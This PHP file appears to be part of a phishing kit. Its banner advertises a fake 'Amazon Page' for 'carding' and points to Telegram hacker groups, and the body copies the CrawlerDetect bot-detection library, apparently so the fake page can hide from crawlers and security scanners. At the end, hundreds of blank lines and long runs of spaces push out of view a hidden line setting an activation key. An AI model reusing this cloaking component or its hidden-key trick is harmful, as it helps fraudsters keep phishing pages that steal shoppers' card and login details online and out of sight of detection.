<?php
//error_reporting(E_ALL ^ E_NOTICE);
/*
██████╗ ██╗  ██╗███████╗    ██████╗ ███████╗ ██████╗██╗  ██╗ █████╗ ██╗  ██╗     ██████╗ ██████╗ ██████╗ ███████╗██████╗ 
██╔══██╗██║  ██║██╔════╝    ██╔══██╗██╔════╝██╔════╝██║ ██╔╝██╔══██╗██║  ██║    ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
██║  ██║███████║█████╗      ██████╔╝█████╗  ██║     █████╔╝ ███████║███████║    ██║     ██║   ██║██║  ██║█████╗  ██║  ██║
██║  ██║██╔══██║██╔══╝      ██╔══██╗██╔══╝  ██║     ██╔═██╗ ██╔══██║██╔══██║    ██║     ██║   ██║██║  ██║██╔══╝  ██║  ██║
██████╔╝██║  ██║███████╗    ██║  ██║███████╗╚██████╗██║  ██╗██║  ██║██║  ██║    ╚██████╗╚██████╔╝██████╔╝███████╗██████╔╝
╚═════╝ ╚═╝  ╚═╝╚══════╝    ╚═╝  ╚═╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝     ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═════╝ 
 * (🧑‍💻)=>DHE RECKAH BOY BORN DEM<=(🧑‍💻)
 * (🧑‍💻)=>OR THEY DON'T TELL YOU <=(🧑‍💻)
 * (🧑‍💻)=>COMMON CARDING FOR DATOR<=(🧑‍💻)
 * Dhe Reckah Amazon Page (MultiFunc)
 * version 1.0.0
 * REMEMBER:                             
 * Facebook fan page is @DheReckahBoy
 * Twitter  fan page is @DheReckahBoy
 * Insta    fan page is @DheReckahBoy
 * youtube  fan page is @DheReckahBoy
 * Telegram fan page is @DheReckahBoy
 * Copycat all reserved @DheReckahBoys
#############################################
#$            Dhe Reckah Coded             #$
#$                  Says:                  #$ 
We All Know The Dangers Of The Internet Users
#$                    &                    #$
#$           As the Internet Exit          #$ 
#$           The dangers exit too          #$  
#############################################
 ================IF AGREED=================
 ==================THEN====================
=Contact Coder On Telegram @DheReckahCoded
=To Be save Join Our Telegram Group
=   @Dhe_ReckahsHackers_Generation
=To Be Secured Join Our Telegram Channel
=   @Dhe_Reckahs_Hackers_Generation

*/

namespace Jaybizzle\CrawlerDetect;
require('Fixtures/AbstractProvider.php');
require('Fixtures/Headers.php');
require('Fixtures/Crawlers.php');
require('Fixtures/Exclusions.php');
/*
 * This file is part of Crawler Detect - the web crawler detection library.
 *
 * (c) Mark Beech <m@rkbee.ch>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */


use Jaybizzle\CrawlerDetect\Fixtures\Headers;
use Jaybizzle\CrawlerDetect\Fixtures\Crawlers;
use Jaybizzle\CrawlerDetect\Fixtures\Exclusions;

class CrawlerDetect
{
    /**
     * The user agent.
     *
     * @var null
     */
    protected $userAgent = null;

    /**
     * Headers that contain a user agent.
     *
     * @var array
     */
    protected $httpHeaders = array();

    /**
     * Store regex matches.
     *
     * @var array
     */
    protected $matches = array();

    /**
     * Crawlers object.
     *
     * @var \Jaybizzle\CrawlerDetect\Fixtures\Crawlers
     */
    protected $crawlers;

    /**
     * Exclusions object.
     *
     * @var \Jaybizzle\CrawlerDetect\Fixtures\Exclusions
     */
    protected $exclusions;

    /**
     * Headers object.
     *
     * @var \Jaybizzle\CrawlerDetect\Fixtures\Headers
     */
    protected $uaHttpHeaders;

    /**
     * The compiled regex string.
     *
     * @var string
     */
    protected $compiledRegex;

    /**
     * The compiled exclusions regex string.
     *
     * @var string
     */
    protected $compiledExclusions;

    /**
     * Class constructor.
     */
    public function __construct(array $headers = null, $userAgent = null)
    {
        $this->crawlers = new Crawlers();
        $this->exclusions = new Exclusions();
        $this->uaHttpHeaders = new Headers();

        $this->compiledRegex = $this->compileRegex($this->crawlers->getAll());
        $this->compiledExclusions = $this->compileRegex($this->exclusions->getAll());

        $this->setHttpHeaders($headers);
        $this->userAgent = $this->setUserAgent($userAgent);
    }

    /**
     * Compile the regex patterns into one regex string.
     *
     * @param array
     * 
     * @return string
     */
    public function compileRegex($patterns)
    {
        return '('.implode('|', $patterns).')';
    }

    /**
     * Set HTTP headers.
     *
     * @param array|null $httpHeaders
     */
    public function setHttpHeaders($httpHeaders)
    {
        // Use global _SERVER if $httpHeaders aren't defined.
        if (! is_array($httpHeaders) || ! count($httpHeaders)) {
            $httpHeaders = $_SERVER;
        }

        // Clear existing headers.
        $this->httpHeaders = array();

        // Only save HTTP headers. In PHP land, that means
        // only _SERVER vars that start with HTTP_.
        foreach ($httpHeaders as $key => $value) {
            if (strpos($key, 'HTTP_') === 0) {
                $this->httpHeaders[$key] = $value;
            }
        }
    }

    /**
     * Return user agent headers.
     *
     * @return array
     */
    public function getUaHttpHeaders()
    {
        return $this->uaHttpHeaders->getAll();
    }

    /**
     * Set the user agent.
     *
     * @param string $userAgent
     */
    public function setUserAgent($userAgent)
    {
        if (is_null($userAgent)) {
            foreach ($this->getUaHttpHeaders() as $altHeader) {
                if (isset($this->httpHeaders[$altHeader])) {
                    $userAgent .= $this->httpHeaders[$altHeader].' ';
                }
            }
        }

        return $userAgent;
    }

    /**
     * Check user agent string against the regex.
     *
     * @param string|null $userAgent
     *
     * @return bool
     */
    public function isCrawler($userAgent = null)
    {
        $agent = $userAgent ?: $this->userAgent;

        $agent = preg_replace('/'.$this->compiledExclusions.'/i', '', $agent);

        if (strlen(trim($agent)) == 0) {
            return false;
        }

        $result = preg_match('/'.$this->compiledRegex.'/i', trim($agent), $matches);

        if ($matches) {
            $this->matches = $matches;
        }

        return (bool) $result;
    }

    /**
     * Return the matches.
     *
     * @return string|null
     */
    public function getMatches()
    {
        return isset($this->matches[0]) ? $this->matches[0] : null;
    }
}























































































































































































































































































































































































































































































































































                                                                                                                                                                                                                                            $activekey = "s4vech3ck";